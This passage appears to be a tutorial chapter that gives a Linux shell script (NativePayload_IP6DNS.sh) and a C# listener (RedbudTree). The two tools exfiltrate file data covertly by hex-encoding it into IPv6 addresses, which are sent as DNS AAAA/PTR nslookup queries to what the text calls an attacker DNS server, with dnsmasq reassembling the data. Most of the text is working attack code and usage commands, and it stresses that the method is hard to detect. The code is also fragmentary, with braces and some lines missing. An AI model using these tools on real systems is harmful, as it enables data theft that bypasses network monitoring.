- no title specified

with this code you will have Reverse string for each IPv6 Query ...

isIPV6 = true;

Console.Write("[{0}] IPv6 DNS Request is : ", DateTime.Now.ToString());

for (int jj = cc - 1; jj >= 0; jj--)

string _Raw = "";

int BreakTime = 0;

if (init)

if (Temp[jj] != '\0') _Raw += Temp[jj];

Console.Write(Temp[jj]);

if (Temp[jj] == 'i') init = true;

if (BreakTime > 75) break;

BreakTime++;

finally with this code you will have Chars behind each Bytes of IPv6 PTR Query very simple .

byte[] RAW = new byte[16];

int kk = 0;

for (int k = 0; k < _Raw.Length / 2;)

RAW[k] = byte.Parse(_Raw.Substring(kk, 2), System.Globalization.NumberStyles.HexNumber);

k++;

kk++;

Console.Write("[{0}] Dumping DATA from this IPv6 Address :", DateTime.Now.ToString());

Console.Write(UTF8Encoding.ASCII.GetChars(RAW));

and here in “main” Code with this Code your “Async” Method called every second , your main code will break via ( Ctrl + C ) :

UDP_53_Init.BeginReceive(Async_UDP_Data_Receive, new object());

System.Threading.Thread.Sleep(1000);

Console.WriteLine("[!] Maybe you need to this command before Running RedBudTree \"Listening Mode\" :");

Console.WriteLine("[!] netsh advfirewall firewall add rule name=\"UDP 53\" dir=in action=allow protocol=UDP localport=53");

Console.WriteLine("[X] " + omg.Message);

Note : C# Code for “RedbudTree.cs” is very simple so I don't think we need to talk more than this about C# code .

using this method on Linux systems (only)

for Linux I made simple Script “NativePayload_IP6DNS.sh” , we talked about this in previous “chapter 6” for AAAA record , now we should talk about “PTR queries” :

so these are syntaxes for this script and in this case we should talk about “Example A-Step1 and Example A-Step2”.

NativePayload_IP6DNS.sh Syntax :

Example A-Step1: (Server Side ) ./NativePayload_IP6DNS.sh -r

Example A-Step2: (Client Side ) ./NativePayload_IP6DNS.sh -u text.txt DNSMASQ_IPv4 [delay] (sec) [address] xxxx:xxxx

example IPv4:192.168.56.110 : ./NativePayload_IP6DNS.sh -r

example IPv4:192.168.56.111 : ./NativePayload_IP6DNS.sh -u text.txt 192.168.56.110 delay 0 address fe81:2222

Description: with A-Step1 you will make DNS Server , with A-Step2 you can Send text file via IPv6 PTR Queries to DNS server

Example B-Step1: (Server Side ) ./NativePayload_IP6DNS.sh -d makedns test.txt mydomain.com [address] xxxx:xxxx

Example B-Step2: (Client Side ) ./NativePayload_IP6DNS.sh -d getdata mydomain.com DNSMASQ_IPv4

example IPv4:192.168.56.110 : ./NativePayload_IP6DNS.sh -d makedns text.txt google.com address fe80:1234

example IPv4:192.168.56.111 : ./NativePayload_IP6DNS.sh -d getdata google.com 192.168.56.110

Description: with B-Step1 you will have DNS Server , with B-Step2 you can Dump test.txt file from server via IPv6 AAAA record Query

Example A-step1:

with Example A-step1 you can have simple DNS server to Listening to IPv6 DNS PTR Queries so for first step you should use this command “./NativePayload_IP6DNS.sh -r” , by this command every PTR queries will dump for Converting from Bytes to String very simple .

Example A-step2:

now in this step you can send DATA via Nslookup Command (Data Exfiltration). For doing this only you need to use this syntax :

•./NativePayload_IP6DNS.sh -u text.txt DNSMASQ_IPv4 [delay] (sec) [address] xxxx:xxxx

with this syntax you send Data for Text file to Target DNS server via IPv6 PTR Queries by Delay and Default Address.

Picture 4:

as you can see in this “Picture 4” with this script I sent this text file “mytext.txt” from Client to server via IPv6 PTR Queries by Nslookup Command very simple and finally this Text file Saved to Server side by “ExfilDump.txt” file.

at a glance : IPv6 traffic is good way for DATA Exfiltration and in this method you can use IPv6 Addresses as Payload for DATA transferring or DATA Exfiltration to Attacker DNS Server or (Fake DNS Server) also detecting this method is Difficult when you want to use DNS AAAA records as Payload.

•Video [1] (step by step) : https://www.youtube.com/watch?v=9jiry5b-oPo
•Source Code (C#) : https://github.com/DamonMohammadbagher/RedbudTree

NativePayload_IP6DNS.sh

#!/bin/sh

echo

echo "NativePayload_IP6DNS.sh , Published by Damon Mohammadbagher 2017-2018"

echo "Injecting/Downloading/Uploading DATA to DNS Traffic via IPv6 DNS AAAA/PTR Records"

echo "help syntax: ./NativePayload_IP6DNS.sh help"

echo

if [ $1 == "help" ]

then

tput setaf 2;

echo

echo "Example A-Step1: (Server Side ) ./NativePayload_IP6DNS.sh -r"

echo "Example A-Step2: (Client Side ) ./NativePayload_IP6DNS.sh -u text.txt DNSMASQ_IPv4 [delay] (sec) [address] xxxx:xxxx"

echo "example IPv4:192.168.56.110 : ./NativePayload_IP6DNS.sh -r"

echo "example IPv4:192.168.56.111 : ./NativePayload_IP6DNS.sh -u text.txt 192.168.56.110 delay 0 address fe81:2222"

echo "Description: with A-Step1 you will make DNS Server , with A-Step2 you can Send text file via IPv6 PTR Queries to DNS server"

echo

echo "Example B-Step1: (Server Side ) ./NativePayload_IP6DNS.sh -d makedns test.txt mydomain.com [address] xxxx:xxxx"

echo "Example B-Step2: (Client Side ) ./NativePayload_IP6DNS.sh -d getdata mydomain.com DNSMASQ_IPv4"

echo "example IPv4:192.168.56.110 : ./NativePayload_IP6DNS.sh -d makedns text.txt google.com address fe80:1234"

echo "example IPv4:192.168.56.111 : ./NativePayload_IP6DNS.sh -d getdata google.com 192.168.56.110"

echo "Description: with B-Step1 you will have DNS Server , with B-Step2 you can Dump test.txt file from server via IPv6 AAAA record Query"

echo

# uploading data via PTR queries (Client Side "A")

if [ $1 == "-u" ]

then

###########

DefAddr="fe80:1111"

if [ $6 == "address" ]

then

DefAddr=$7

elif [ $6 == null ]

then

DefAddr="fe80:1111"

delaytime=0

if [ $4 == "delay" ]

then

delaytime=$5

elif [ $4 == null ]

then

delaytime=0

c=0

octets=""

tput setaf 9;

#echo " " > DnsHost.txt

#echo " " > TempDnsHost.txt

RecordsIDcounter=0

IPv6Oct=0

counts=0

echo

tput setaf 9;

echo "[!] [Exfil/Uploading DATA] via IPv6 DNS PTR Record Queries"

echo "[!] Sending DNS Lookup to DNS Server: " $3

echo "[!] Sending DNS Lookup by Delay (sec): " $delaytime

tput setaf 2;

echo

for op in `xxd -p -c 1 $2`; do

#echo "[!] injecting this text via IPv6 octet:" "`echo $op | xxd -r -p`" " ==byte==> " $op

if (($IPv6Oct == 0))

then

octets+=$op

((IPv6Oct++))

elif (($IPv6Oct == 1))

then

octets+=$op":"

IPv6Oct=0

#debug only

#echo "[!] injecting this text via IPv6 octet:" "`echo $octets | xxd -r -p`" " ==byte==> " $octets

#debug only

((c++))

if(($c == 12))

then

tput setaf 2;

echo --------------------------

tput setaf 3;

echo "[!] Your IPv6 is : " $DefAddr:"${octets::-1}"

Data="${octets::-1}"

tput setaf 6;

echo "[!] Your Text/Data for this IPv6 is : " `echo $Data | xxd -r -p `

#echo $DefAddr:"${octets::-1}":$RecordsIDcounter $4 >> TempDnsHost.txt

time=`date '+%d/%m/%y %H:%M:%S'`

tput setaf 9;

echo "[>] [$counts] [$time] Sending Text/Data via Nslookup Done"

MyIPv6address=$DefAddr:"${octets::-1}"

nslookup -type=aaaa $MyIPv6address $3 | grep arpa

tput setaf 2;

((counts++))

sleep $delaytime

tput setaf 9;

octets=""

c=0

((RecordsIDcounter++))

else

tput setaf 9;

if(($RecordsIDcounter == 9999))

then

echo "[!] Oops Your IPv6 counter (z) was upper than 9999 : " "${octets::-1}".$RecordsIDcounter

break

done

#########

tput setaf 2;

echo

echo "[!] Sending Done by ($counts) Request."

echo

tput setaf 9;

# download data via AAAA records queries

if [ $1 == "-d" ]

then

# Syntax : NativePayload_IP6DNS.sh -d getdata domain_name DnsMasq_IPv4" (CLIENT SIDE "B")

if [ $2 == "getdata" ]

then

tput setaf 9;

echo "[!] Downloading Mode , Dump Text DATA via DNS IPv6 AAAA Records "

tput setaf 2;

echo "[!] Sending DNS A Records Queries for Domain :" $3 "to DNSMASQ-Server:" $4

echo "[!] to dump test.txt file via AAAA records you should use this syntax in server side:"

tput setaf 9;

echo "[!] Syntax : NativePayload_IP6DNS.sh -d makedns test.txt google.com"

# old ver : nslookup -type=aaaa google.com 127.0.0.1 | grep AAAA | awk {'print $5'} | sort -t: -k 8 -n

PayloadLookups=`nslookup -type=aaaa $3 $4 | grep AAAA | awk {'print $5'} | sort -t: -k 8 -n`

# new ver : for some versions of nslookup you need this syntax

if (( `echo ${#PayloadLookups}` == 0 ))

then

PayloadLookups=`nslookup -type=aaaa $3 $4 | grep Address: | awk {'print $2'} | sort -t: -k 8 -n`

tput setaf 9;

echo "[>] Warning , Nslookup Result via [grep AAAA] was null , Sending request again via [grep Address:]"

echo "[!] Warning , it means Nslookup query sent (2) times"

tput setaf 9;

echo "[>] Dumped this Text via DNS AAAA Record Query:"

echo

AAAARecordscounter=0

for op in $PayloadLookups; do

if [[ $op != *"#53"* ]];

then

Lookups+=`echo $op | cut -d':' -f3`

Lookups+=`echo $op | cut -d':' -f4`

Lookups+=`echo $op | cut -d':' -f5`

Lookups+=`echo $op | cut -d':' -f6`

Lookups+=`echo $op | cut -d':' -f7`

echo $Lookups | xxd -r -p

Lookups=""

((AAAARecordscounter++))

done

echo

tput setaf 2;

echo "[!] Dumping Done , Performed by" $((AAAARecordscounter)) "DNS AAAA Records for domain :" $3 "from Server:" $4

echo

# Creating DNS Server and DNSHOST.TXT file (SERVER SIDE "B")

# NativePayload_IP6DNS.sh -d makedns text-file mydomain.com address fe80:1111

if [ $2 == "makedns" ]

then

DefAddr="fe80:1111"

if [ $5 == "address" ]

then

DefAddr=$6

elif [ $5 == null ]

then

DefAddr="fe80:1111"

c=0

octets=""

tput setaf 9;

echo " " > DnsHost.txt

echo " " > TempDnsHost.txt

RecordsIDcounter=0

IPv6Oct=0

for op in `xxd -p -c 1 $3`; do

#echo "[!] injecting this text via IPv6 octet:" "`echo $op | xxd -r -p`" " ==byte==> " $op

if (($IPv6Oct == 0))

then

octets+=$op

((IPv6Oct++))

elif (($IPv6Oct == 1))

then

octets+=$op":"

IPv6Oct=0

# debug only

#echo "[!] injecting this text via IPv6 octet:" "`echo $octets | xxd -r -p`" " ==byte==> " $octets

# debug only

((c++))

if(($c == 10))

then

tput setaf 9;

echo "[!] injecting this text via IPv6 Address (10bytes) :" "`echo $octets | xxd -r -p`" " ==byte==> " $octets

tput setaf 3;

echo "[!] Your IPv6 is : " $DefAddr:"${octets::-1}":$RecordsIDcounter

Data="${octets::-1}"

echo "[!] Your Text/Data for this IPv6 is : " `echo $Data | xxd -r -p `

echo -------------------------

echo $DefAddr:"${octets::-1}":$RecordsIDcounter $4 >> TempDnsHost.txt

tput setaf 9;

octets=""

c=0

((RecordsIDcounter++))

else

tput setaf 9;

if(($RecordsIDcounter == 9999))

then

echo "[!] Oops Your IPv6 counter (z) was upper than 9999 : " "${octets::-1}".$RecordsIDcounter

break

done

echo

tput setaf 2;

echo "[!] DnsHost.txt Created by" $RecordsIDcounter "AAAA Records for Domain:" $4

echo "[!] you can use this DNSHOST.TXT file via Dnsmasq tool"

tput setaf 2;

echo "[!] to dump these AAAA records you should use this syntax in client side:"

tput setaf 9;

echo "[!] Syntax : NativePayload_IP6DNS.sh -d getdata domain_name DnsMasq_IPv4"

echo

echo "[>] DNSMASQ Started by DNSHOST.TXT File"

echo

tput setaf 9;

# sort by -k4 : wxyz:wxyz:xxxx:XXXX:x:x:x:z

cat TempDnsHost.txt | sort -t: -k4 -n > DnsHost.txt

`dnsmasq --no-hosts --no-daemon --log-queries -H DnsHost.txt`

tput setaf 9;

# make DNS Server for Dump DATA via DNS PTR Queries (Server Side "A")

# Reading Mode (log data via dnsmasq log files)

if [ $1 == "-r" ]

then

tput setaf 9;

echo "[>] Reading Mode , DNSMASQ Started by this log file : /var/log/dnsmasq.log !"

tput setaf 2;

echo "" > /var/log/dnsmasq.log

`dnsmasq --no-hosts --no-daemon --log-queries --log-facility=/var/log/dnsmasq.log` &

filename="/var/log/dnsmasq.log"

fs=$(stat -c%s "$filename")

count=0

while true; do

tput setaf 2;

sleep 10

fs2=$(stat -c%s "$filename")

if [ "$fs" != "$fs2" ] ;

then

tput setaf 6;

echo "[!] /var/log/dnsmasq.log File has changed!"

echo "[!] Checking Queries"

fs=$(stat -c%s "$filename")

fs2=$(stat -c%s "$filename")

IP6PTRecordsTemp=`cat $filename | grep PTR | awk {'print $6'} | tr -d '.'`

time=`date '+%d/%m/%y %H:%M:%S'`

echo "[!] ["$time"] Dump this Text via IPv6 PTR Queries"

tput setaf 9;

Dumptext=""

for ops1 in `echo $IP6PTRecordsTemp`; do

IP6PTRecords=`echo "${ops1::-15}" | rev`

echo $IP6PTRecords | xxd -r -p

Dumptext+=`echo $IP6PTRecords | xxd -r -p`

done

echo

tput setaf 6;

echo "[>] this Text Saved to ExfilDump.txt"

echo $Dumptext > ExfilDump.txt

tput setaf 2;

else

fs=$(stat -c%s "$filename")

fs2=$(stat -c%s "$filename")

tput setaf 2;

done

RedbudTree.cs :

using System;

using System.Collections.Generic;

using System.Net;

using System.Net.Sockets;

/// RedbudTree v1.0 , IPv6 DNS Request Listener (UDP Port 53)

/// Detecting Exfiltration DATA via IPv6 DNS AAAA Record Requests

/// DNS IPv6 Requests tested by nslookup command in Win2008 R2 and Kali linux.

/// RedbudTree Listener Mode tested in Win2008 R2 + .NET Framework 2.0

/// for using "Listener Mode" UDP Port 53 should be opened before using this tool.

/// windows command for opening UDP port 53 is :

/// netsh advfirewall firewall add rule name="UDP 53" dir=in action=allow protocol=UDP localport=53

/// [!] Syntax 1: Creating Exfiltration DATA via IPv6 Address and Nslookup

/// [!] Syntax 1: RedbudTree.exe "AAAA" "Text"

/// [!] Example1: RedbudTree.exe AAAA "this is my test"

/// [!] Syntax 2: Creating Exfiltration DATA via IPv6 Address and Nslookup by Text Files

/// [!] Syntax 2: RedbudTree.exe "AAAA" "FILE" "TextFile.txt"

/// [!] Example2: RedbudTree.exe AAAA FILE "TextFile.txt"

/// [!] Syntax 3: RedbudTree with Listening Mode

/// [!] Syntax 3: RedbudTree.exe

public static int counter = 0;

/// </summary>

public static UdpClient UDP_53_Init = new UdpClient(53);

public static void Async_UDP_Data_Receive(IAsyncResult AsyncResult)

IPEndPoint LocalIP_UdpPort53 = new IPEndPoint(IPAddress.Any,53);

byte[] UDP_Rec_Bytes = UDP_53_Init.EndReceive(AsyncResult, ref LocalIP_UdpPort53);

bool isIPV6 = false;

string UDP_DATA = Encoding.ASCII.GetString(UDP_Rec_Bytes);

if (UDP_DATA.ToUpper().Contains("IP6"))

Console.WriteLine("[{1}] [{0}] IPv6 DNS Request Received : ", DateTime.Now.ToString(),counter.ToString());

isIPV6 = true;

counter++;

//Console.WriteLine(BitConverter.ToString(bytes));

/// Debug Mode

if (isIPV6)

Console.Write("[{0}] IPv6 DNS Bytes is : ", DateTime.Now.ToString());

char[] Temp = new char[UDP_DATA.Length];

int c = 0;

foreach (char item in UDP_DATA)

if (Convert.ToInt32(item) > 16)

int cc = Temp.Length;

bool init = false;

Console.Write("[{0}] IPv6 DNS Request is : ", DateTime.Now.ToString());

for (int jj = cc - 1; jj >= 0; jj--)

string _Raw = "";

int BreakTime = 0;

if (init)

if (Temp[jj] != '\0') _Raw += Temp[jj];

Console.Write(Temp[jj]);

if (Temp[jj] == 'i') init = true;

if (BreakTime > 75) break;

BreakTime++;

//Console.WriteLine("\n" + _Raw);

/// Debug

byte[] RAW = new byte[16];

int kk = 0;

for (int k = 0; k < _Raw.Length / 2;)

RAW[k] = byte.Parse(_Raw.Substring(kk, 2), System.Globalization.NumberStyles.HexNumber);

k++;

kk++;

Console.Write("[{0}] Dumping DATA from this IPv6 Address :", DateTime.Now.ToString());

Console.Write(UTF8Encoding.ASCII.GetChars(RAW));

public static void Create_IPv6_Address(string input_Exfil_String_DATA ,bool _isFile)

try

string ExfiltrationText = "";

Console.ForegroundColor = ConsoleColor.Red;

Console.WriteLine("Your Target (UDP Port 53) Listener IPv4 Address is 192.168.56.101 you can change it manually.");

if (_isFile)

Console.WriteLine("Your Exfiltration Nslookup Commands for File \"{0}\" are:", input_Exfil_String_DATA);

byte[] FileBytes = System.IO.File.ReadAllBytes(input_Exfil_String_DATA);

ExfiltrationText = UTF8Encoding.ASCII.GetString(FileBytes);

if(!_isFile)

Console.WriteLine("Your Exfiltration Nslookup Commands are:");

byte[] TextBytes = UnicodeEncoding.ASCII.GetBytes(input_Exfil_String_DATA);

ExfiltrationText = UTF8Encoding.ASCII.GetString(TextBytes);

byte[] b = new byte[ExfiltrationText.Length];

int i = 0;

int c = 1;

int cc = 1;

Console.Write("nslookup -type=aaaa ");

foreach (char item in ExfiltrationText)

b[i] = Convert.ToByte(item);

if (cc > 2) { Console.Write(":"); cc = 1; }

Console.Write(string.Format("{0:x2}", b[i]));

if (c == 16)

Console.Write(" 192.168.56.101 | find \"\"");

Console.Write("nslookup -type=aaaa ");

Console.WriteLine(omg.Message);

static void Main(string[] args)

/// Exfiltration and uploading DATA by Sending IPv6 DNS Request to Attacker DNS Server

/// in this case you can Uploading DATA by IPv6 Addresses

Console.ForegroundColor = ConsoleColor.DarkGray;

Console.WriteLine("RedbudTree , IPv6 DNS Request Listener (UDP Port 53)");

Console.WriteLine("Detecting Exfiltration DATA via IPv6 DNS AAAA Record Requests");

Console.WriteLine("Published by Damon Mohammadbagher Oct-Nov 2017");

if (args.Length >= 1 && args[0].ToUpper() == "HELP")

Console.WriteLine("[!] Syntax 1: Creating Exfiltration DATA via IPv6 Address and Nslookup");

Console.WriteLine("[!] Syntax 1: RedbudTree.exe \"AAAA\" \"Text\"");

Console.WriteLine("[!] Example1: RedbudTree.exe AAAA \"this is my test\"");

Console.WriteLine("[!] Syntax 2: Creating Exfiltration DATA via IPv6 Address and Nslookup by Text Files");

Console.WriteLine("[!] Syntax 2: RedbudTree.exe \"AAAA\" \"FILE\" \"TextFile.txt\"");

Console.WriteLine("[!] Example2: RedbudTree.exe AAAA FILE \"TextFile.txt\"");

Console.WriteLine("[!] Syntax 3: Listening Mode");

Console.WriteLine("[!] Syntax 3: RedbudTree.exe ");

Console.WriteLine("[!] Example3: RedbudTree.exe ");

else if (args.Length == 2 && args[0].ToUpper() == "AAAA")

try

Create_IPv6_Address(args[1], false);

Console.WriteLine(omg.Message);

else if (args.Length == 3 && args[0].ToUpper() == "AAAA" && args[1].ToUpper() == "FILE")

try

Create_IPv6_Address(args[2], true);

Console.WriteLine(omg.Message);

else if (args.Length == 0)

Console.ForegroundColor = ConsoleColor.Yellow;

Console.WriteLine("[!] UDP Port 53 Listening Mode");

UDP_53_Init.BeginReceive(Async_UDP_Data_Receive, new object());

System.Threading.Thread.Sleep(1000);

Console.WriteLine("[!] Maybe you need to this command before Running RedBudTree \"Listening Mode\" :");

Console.WriteLine("[!] netsh advfirewall firewall add rule name=\"UDP 53\" dir=in action=allow protocol=UDP localport=53");

Console.WriteLine("[X] " + omg.Message);

Console.WriteLine("[!] Syntax 1: Creating Exfiltration DATA via IPv6 Address and Nslookup");

Console.WriteLine("[!] Syntax 1: RedbudTree.exe \"AAAA\" \"Text\"");

Console.WriteLine("[!] Example1: RedbudTree.exe AAAA \"this is my test\"");

Console.WriteLine("[!] Syntax 2: Creating Exfiltration DATA via IPv6 Address and Nslookup by Text Files");

Console.WriteLine("[!] Syntax 2: RedbudTree.exe \"AAAA\" \"FILE\" \"TextFile.txt\"");

Console.WriteLine("[!] Example2: RedbudTree.exe AAAA FILE \"TextFile.txt\"");

Console.WriteLine("[!] Syntax 3: Listening Mode");

Console.WriteLine("[!] Syntax 3: RedbudTree.exe ");

Console.WriteLine("[!] Example3: RedbudTree.exe ");